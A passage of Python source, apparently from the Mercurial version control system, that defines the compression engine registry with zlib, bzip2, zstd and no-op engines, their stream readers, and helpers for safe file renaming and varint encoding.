         engine = self._engines[self._bundlenames[bundlename]]
         if not engine.available():
             raise error.Abort(_('compression engine %s could not be loaded') %
                               engine.name())
         return engine
 
     def forbundletype(self, bundletype):
         """Obtain a compression engine registered to a bundle type.
 
         Will raise KeyError if the bundle type isn't registered.
 
         Will abort if the engine is known but not available.
         """
         engine = self._engines[self._bundletypes[bundletype]]
         if not engine.available():
             raise error.Abort(_('compression engine %s could not be loaded') %
                               engine.name())
         return engine
 
     def supportedwireengines(self, role, onlyavailable=True):
         """Obtain compression engines that support the wire protocol.
 
         Returns a list of engines in prioritized order, most desired first.
 
         If ``onlyavailable`` is set, filter out engines that can't be
         loaded.
         """
         assert role in (SERVERROLE, CLIENTROLE)
 
         attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
 
         engines = [self._engines[e] for e in self._wiretypes.values()]
         if onlyavailable:
             engines = [e for e in engines if e.available()]
 
         def getkey(e):
             # Sort first by priority, highest first. In case of tie, sort
             # alphabetically. This is arbitrary, but ensures output is
             # stable.
             w = e.wireprotosupport()
             return -1 * getattr(w, attr), w.name
 
         return list(sorted(engines, key=getkey))
 
     def forwiretype(self, wiretype):
         engine = self._engines[self._wiretypes[wiretype]]
         if not engine.available():
             raise error.Abort(_('compression engine %s could not be loaded') %
                               engine.name())
         return engine
 
     def forrevlogheader(self, header):
         """Obtain a compression engine registered to a revlog header.
 
         Will raise KeyError if the revlog header value isn't registered.
         """
         return self._engines[self._revlogheaders[header]]
 
 compengines = compressormanager()
 
 class compressionengine(object):
     """Base class for compression engines.
 
     Compression engines must implement the interface defined by this class.
     """
     def name(self):
         """Returns the name of the compression engine.
 
         This is the key the engine is registered under.
 
         This method must be implemented.
         """
         raise NotImplementedError()
 
     def available(self):
         """Whether the compression engine is available.
 
         The intent of this method is to allow optional compression engines
         that may not be available in all installations (such as engines relying
         on C extensions that may not be present).
         """
         return True
 
     def bundletype(self):
         """Describes bundle identifiers for this engine.
 
         If this compression engine isn't supported for bundles, returns None.
 
         If this engine can be used for bundles, returns a 2-tuple of strings of
         the user-facing "bundle spec" compression name and an internal
         identifier used to denote the compression format within bundles. To
         exclude the name from external usage, set the first element to ``None``.
 
         If bundle compression is supported, the class must also implement
         ``compressstream`` and `decompressorreader``.
 
         The docstring of this method is used in the help system to tell users
         about this engine.
         """
         return None
 
     def wireprotosupport(self):
         """Declare support for this compression format on the wire protocol.
 
         If this compression engine isn't supported for compressing wire
         protocol payloads, returns None.
 
         Otherwise, returns ``compenginewireprotosupport`` with the following
         fields:
 
         * String format identifier
         * Integer priority for the server
         * Integer priority for the client
 
         The integer priorities are used to order the advertisement of format
         support by server and client. The highest integer is advertised
         first. Integers with non-positive values aren't advertised.
 
         The priority values are somewhat arbitrary and only used for default
         ordering. The relative order can be changed via config options.
 
         If wire protocol compression is supported, the class must also implement
         ``compressstream`` and ``decompressorreader``.
         """
         return None
 
     def revlogheader(self):
         """Header added to revlog chunks that identifies this engine.
 
         If this engine can be used to compress revlogs, this method should
         return the bytes used to identify chunks compressed with this engine.
         Else, the method should return ``None`` to indicate it does not
         participate in revlog compression.
         """
         return None
 
     def compressstream(self, it, opts=None):
         """Compress an iterator of chunks.
 
         The method receives an iterator (ideally a generator) of chunks of
         bytes to be compressed. It returns an iterator (ideally a generator)
         of bytes of chunks representing the compressed output.
 
         Optionally accepts an argument defining how to perform compression.
         Each engine treats this argument differently.
         """
         raise NotImplementedError()
 
     def decompressorreader(self, fh):
         """Perform decompression on a file object.
 
         Argument is an object with a ``read(size)`` method that returns
         compressed data. Return value is an object with a ``read(size)`` that
         returns uncompressed data.
         """
         raise NotImplementedError()
 
     def revlogcompressor(self, opts=None):
         """Obtain an object that can be used to compress revlog entries.
 
         The object has a ``compress(data)`` method that compresses binary
         data. This method returns compressed binary data or ``None`` if
         the data could not be compressed (too small, not compressible, etc).
         The returned data should have a header uniquely identifying this
         compression format so decompression can be routed to this engine.
         This header should be identified by the ``revlogheader()`` return
         value.
 
         The object has a ``decompress(data)`` method that decompresses
         data. The method will only be called if ``data`` begins with
         ``revlogheader()``. The method should return the raw, uncompressed
         data or raise a ``StorageError``.
 
         The object is reusable but is not thread safe.
         """
         raise NotImplementedError()
 
 class _CompressedStreamReader(object):
     def __init__(self, fh):
         if safehasattr(fh, 'unbufferedread'):
             self._reader = fh.unbufferedread
         else:
             self._reader = fh.read
         self._pending = []
         self._pos = 0
         self._eof = False
 
     def _decompress(self, chunk):
         raise NotImplementedError()
 
     def read(self, l):
         buf = []
         while True:
             while self._pending:
                 if len(self._pending[0]) > l + self._pos:
                     newbuf = self._pending[0]
                     buf.append(newbuf[self._pos:self._pos + l])
                     self._pos += l
                     return ''.join(buf)
 
                 newbuf = self._pending.pop(0)
                 if self._pos:
                     buf.append(newbuf[self._pos:])
                     l -= len(newbuf) - self._pos
                 else:
                     buf.append(newbuf)
                     l -= len(newbuf)
                 self._pos = 0
 
             if self._eof:
                 return ''.join(buf)
             chunk = self._reader(65536)
             self._decompress(chunk)
             if not chunk and not self._pending and not self._eof:
                 # No progress and no new data, bail out
                 return ''.join(buf)
 
 class _GzipCompressedStreamReader(_CompressedStreamReader):
     def __init__(self, fh):
         super(_GzipCompressedStreamReader, self).__init__(fh)
         self._decompobj = zlib.decompressobj()
     def _decompress(self, chunk):
         newbuf = self._decompobj.decompress(chunk)
         if newbuf:
             self._pending.append(newbuf)
         d = self._decompobj.copy()
         try:
             d.decompress('x')
             d.flush()
             if d.unused_data == 'x':
                 self._eof = True
         except zlib.error:
             pass
 
 class _BZ2CompressedStreamReader(_CompressedStreamReader):
     def __init__(self, fh):
         super(_BZ2CompressedStreamReader, self).__init__(fh)
         self._decompobj = bz2.BZ2Decompressor()
     def _decompress(self, chunk):
         newbuf = self._decompobj.decompress(chunk)
         if newbuf:
             self._pending.append(newbuf)
         try:
             while True:
                 newbuf = self._decompobj.decompress('')
                 if newbuf:
                     self._pending.append(newbuf)
                 else:
                     break
         except EOFError:
             self._eof = True
 
 class _TruncatedBZ2CompressedStreamReader(_BZ2CompressedStreamReader):
     def __init__(self, fh):
         super(_TruncatedBZ2CompressedStreamReader, self).__init__(fh)
         newbuf = self._decompobj.decompress('BZ')
         if newbuf:
             self._pending.append(newbuf)
 
 class _ZstdCompressedStreamReader(_CompressedStreamReader):
     def __init__(self, fh, zstd):
         super(_ZstdCompressedStreamReader, self).__init__(fh)
         self._zstd = zstd
         self._decompobj = zstd.ZstdDecompressor().decompressobj()
     def _decompress(self, chunk):
         newbuf = self._decompobj.decompress(chunk)
         if newbuf:
             self._pending.append(newbuf)
         try:
             while True:
                 newbuf = self._decompobj.decompress('')
                 if newbuf:
                     self._pending.append(newbuf)
                 else:
                     break
         except self._zstd.ZstdError:
             self._eof = True
 
 class _zlibengine(compressionengine):
     def name(self):
         return 'zlib'
 
     def bundletype(self):
         """zlib compression using the DEFLATE algorithm.
 
         All Mercurial clients should support this format. The compression
         algorithm strikes a reasonable balance between compression ratio
         and size.
         """
         return 'gzip', 'GZ'
 
     def wireprotosupport(self):
         return compewireprotosupport('zlib', 20, 20)
 
     def revlogheader(self):
         return 'x'
 
     def compressstream(self, it, opts=None):
         opts = opts or {}
 
         z = zlib.compressobj(opts.get('level', -1))
         for chunk in it:
             data = z.compress(chunk)
             # Not all calls to compress emit data. It is cheaper to inspect
             # here than to feed empty chunks through generator.
             if data:
                 yield data
 
         yield z.flush()
 
     def decompressorreader(self, fh):
         return _GzipCompressedStreamReader(fh)
 
     class zlibrevlogcompressor(object):
         def compress(self, data):
             insize = len(data)
             # Caller handles empty input case.
             assert insize > 0
 
             if insize < 44:
                 return None
 
             elif insize <= 1000000:
                 compressed = zlib.compress(data)
                 if len(compressed) < insize:
                     return compressed
                 return None
 
             # zlib makes an internal copy of the input buffer, doubling
             # memory usage for large inputs. So do streaming compression
             # on large inputs.
             else:
                 z = zlib.compressobj()
                 parts = []
                 pos = 0
                 while pos < insize:
                     pos2 = pos + 2**20
                     parts.append(z.compress(data[pos:pos2]))
                     pos = pos2
                 parts.append(z.flush())
 
                 if sum(map(len, parts)) < insize:
                     return ''.join(parts)
                 return None
 
         def decompress(self, data):
             try:
                 return zlib.decompress(data)
             except zlib.error as e:
                 raise error.StorageError(_('revlog decompress error: %s') %
                                          stringutil.forcebytestr(e))
 
     def revlogcompressor(self, opts=None):
         return self.zlibrevlogcompressor()
 
 compengines.register(_zlibengine())
 
 class _bz2engine(compressionengine):
     def name(self):
         return 'bz2'
 
     def bundletype(self):
         """An algorithm that produces smaller bundles than ``gzip``.
 
         All Mercurial clients should support this format.
 
         This engine will likely produce smaller bundles than ``gzip`` but
         will be significantly slower, both during compression and
         decompression.
 
         If available, the ``zstd`` engine can yield similar or better
         compression at much higher speeds.
         """
         return 'bzip2', 'BZ'
 
     # We declare a protocol name but don't advertise by default because
     # it is slow.
     def wireprotosupport(self):
         return compewireprotosupport('bzip2', 0, 0)
 
     def compressstream(self, it, opts=None):
         opts = opts or {}
         z = bz2.BZ2Compressor(opts.get('level', 9))
         for chunk in it:
             data = z.compress(chunk)
             if data:
                 yield data
 
         yield z.flush()
 
     def decompressorreader(self, fh):
         return _BZ2CompressedStreamReader(fh)
 
 compengines.register(_bz2engine())
 
 class _truncatedbz2engine(compressionengine):
     def name(self):
         return 'bz2truncated'
 
     def bundletype(self):
         return None, '_truncatedBZ'
 
     # We don't implement compressstream because it is hackily handled elsewhere.
 
     def decompressorreader(self, fh):
         return _TruncatedBZ2CompressedStreamReader(fh)
 
 compengines.register(_truncatedbz2engine())
 
 class _noopengine(compressionengine):
     def name(self):
         return 'none'
 
     def bundletype(self):
         """No compression is performed.
 
         Use this compression engine to explicitly disable compression.
         """
         return 'none', 'UN'
 
     # Clients always support uncompressed payloads. Servers don't because
     # unless you are on a fast network, uncompressed payloads can easily
     # saturate your network pipe.
     def wireprotosupport(self):
         return compewireprotosupport('none', 0, 10)
 
     # We don't implement revlogheader because it is handled specially
     # in the revlog class.
 
     def compressstream(self, it, opts=None):
         return it
 
     def decompressorreader(self, fh):
         return fh
 
     class nooprevlogcompressor(object):
         def compress(self, data):
             return None
 
     def revlogcompressor(self, opts=None):
         return self.nooprevlogcompressor()
 
 compengines.register(_noopengine())
 
 class _zstdengine(compressionengine):
     def name(self):
         return 'zstd'
 
     @propertycache
     def _module(self):
         # Not all installs have the zstd module available. So defer importing
         # until first access.
         try:
             from . import zstd
             # Force delayed import.
             zstd.__version__
             return zstd
         except ImportError:
             return None
 
     def available(self):
         return bool(self._module)
 
     def bundletype(self):
         """A modern compression algorithm that is fast and highly flexible.
 
         Only supported by Mercurial 4.1 and newer clients.
 
         With the default settings, zstd compression is both faster and yields
         better compression than ``gzip``. It also frequently yields better
         compression than ``bzip2`` while operating at much higher speeds.
 
         If this engine is available and backwards compatibility is not a
         concern, it is likely the best available engine.
         """
         return 'zstd', 'ZS'
 
     def wireprotosupport(self):
         return compewireprotosupport('zstd', 50, 50)
 
     def revlogheader(self):
         return '\x28'
 
     def compressstream(self, it, opts=None):
         opts = opts or {}
         # zstd level 3 is almost always significantly faster than zlib
         # while providing no worse compression. It strikes a good balance
         # between speed and compression.
         level = opts.get('level', 3)
 
         zstd = self._module
         z = zstd.ZstdCompressor(level=level).compressobj()
         for chunk in it:
             data = z.compress(chunk)
             if data:
                 yield data
 
         yield z.flush()
 
     def decompressorreader(self, fh):
         return _ZstdCompressedStreamReader(fh, self._module)
 
     class zstdrevlogcompressor(object):
         def __init__(self, zstd, level=3):
             # TODO consider omitting frame magic to save 4 bytes.
             # This writes content sizes into the frame header. That is
             # extra storage. But it allows a correct size memory allocation
             # to hold the result.
             self._cctx = zstd.ZstdCompressor(level=level)
             self._dctx = zstd.ZstdDecompressor()
             self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
             self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
 
         def compress(self, data):
             insize = len(data)
             # Caller handles empty input case.
             assert insize > 0
 
             if insize < 50:
                 return None
 
             elif insize <= 1000000:
                 compressed = self._cctx.compress(data)
                 if len(compressed) < insize:
                     return compressed
                 return None
             else:
                 z = self._cctx.compressobj()
                 chunks = []
                 pos = 0
                 while pos < insize:
                     pos2 = pos + self._compinsize
                     chunk = z.compress(data[pos:pos2])
                     if chunk:
                         chunks.append(chunk)
                     pos = pos2
                 chunks.append(z.flush())
 
                 if sum(map(len, chunks)) < insize:
                     return ''.join(chunks)
                 return None
 
         def decompress(self, data):
             insize = len(data)
 
             try:
                 # This was measured to be faster than other streaming
                 # decompressors.
                 dobj = self._dctx.decompressobj()
                 chunks = []
                 pos = 0
                 while pos < insize:
                     pos2 = pos + self._decompinsize
                     chunk = dobj.decompress(data[pos:pos2])
                     if chunk:
                         chunks.append(chunk)
                     pos = pos2
                 # Frame should be exhausted, so no finish() API.
 
                 return ''.join(chunks)
             except Exception as e:
                 raise error.StorageError(_('revlog decompress error: %s') %
                                          stringutil.forcebytestr(e))
 
     def revlogcompressor(self, opts=None):
         opts = opts or {}
         return self.zstdrevlogcompressor(self._module,
                                          level=opts.get('level', 3))
 
 compengines.register(_zstdengine())
 
 def bundlecompressiontopics():
     """Obtains a list of available bundle compressions for use in help."""
     # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
     items = {}
 
     # We need to format the docstring. So use a dummy object/type to hold it
     # rather than mutating the original.
     class docobject(object):
         pass
 
     for name in compengines:
         engine = compengines[name]
 
         if not engine.available():
             continue
 
         bt = engine.bundletype()
         if not bt or not bt[0]:
             continue
 
         doc = b'``%s``\n    %s' % (bt[0], pycompat.getdoc(engine.bundletype))
 
         value = docobject()
         value.__doc__ = pycompat.sysstr(doc)
         value._origdoc = engine.bundletype.__doc__
         value._origfunc = engine.bundletype
 
         items[bt[0]] = value
 
     return items
 
 i18nfunctions = bundlecompressiontopics().values()
 
 # convenient shortcut
 dst = debugstacktrace
 
 def safename(f, tag, ctx, others=None):
     """
     Generate a name that it is safe to rename f to in the given context.
 
     f:      filename to rename
     tag:    a string tag that will be included in the new name
     ctx:    a context, in which the new name must not exist
     others: a set of other filenames that the new name must not be in
 
     Returns a file name of the form oldname~tag[~number] which does not exist
     in the provided context and is not in the set of other names.
     """
     if others is None:
         others = set()
 
     fn = '%s~%s' % (f, tag)
     if fn not in ctx and fn not in others:
         return fn
     for n in itertools.count(1):
         fn = '%s~%s~%s' % (f, tag, n)
         if fn not in ctx and fn not in others:
             return fn
 
 def readexactly(stream, n):
     '''read n bytes from stream.read and abort if less was available'''
     s = stream.read(n)
     if len(s) < n:
         raise error.Abort(_("stream ended unexpectedly"
                            " (got %d bytes, expected %d)")
                           % (len(s), n))
     return s
 
 def uvarintencode(value):
     """Encode an unsigned integer value to a varint.
 
     A varint is a variable length integer of 1 or more bytes. Each byte
     except the last has the most significant bit set. The lower 7 bits of
     each byte store the 2's complement representation, least significant group
     first.
 
     >>> uvarintencode(0)
     '\\x00'
     >>> uvarintencode(1)
     '\\x01'
     >>> uvarintencode(127)
     '\\x7f'
     >>> uvarintencode(1337)
     '\\xb9\\n'
     >>> uvarintencode(65536)
     '\\x80\\x80\\x04'
     >>> uvarintencode(-1)
     Traceback (most recent call last):
         ...
     ProgrammingError: negative value for uvarint: -1
     """
     if value < 0:
         raise error.ProgrammingError('negative value for uvarint: %d'
                                      % value)
     bits = value & 0x7f
     value >>= 7
     bytes = []
     while value:
         bytes.append(pycompat.bytechr(0x80 | bits))
         bits = value & 0x7f
         value >>= 7
     bytes.append(pycompat.bytechr(bits))
 
     return ''.join(bytes)
 
 def uvarintdecodestream(fh):
     """Decode an unsigned variable length integer from a stream.
 
     The passed argument is anything that has a ``.read(N)`` method.
 
     >>> try:
     ...     from StringIO import StringIO as BytesIO
     ... except ImportError:
     ...     from io import BytesIO
     >>> uvarintdecodestream(BytesIO(b'\\x00'))
     0
     >>> uvarintdecodestream(BytesIO(b'\\x01'))
     1
     >>> uvarintdecodestream(BytesIO(b'\\x7f'))
     127
     >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
     1337
     >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
     65536
     >>> uvarintdecodestream(BytesIO(b'\\x80'))
     Traceback (most recent call last):
         ...
     Abort: stream ended unexpectedly (got 0 bytes, expected 1)
     """
     result = 0
     shift = 0
     while True:
         byte = ord(readexactly(fh, 1))
         result |= ((byte & 0x7f) << shift)
         if not (byte & 0x80):
             return result
         shift += 7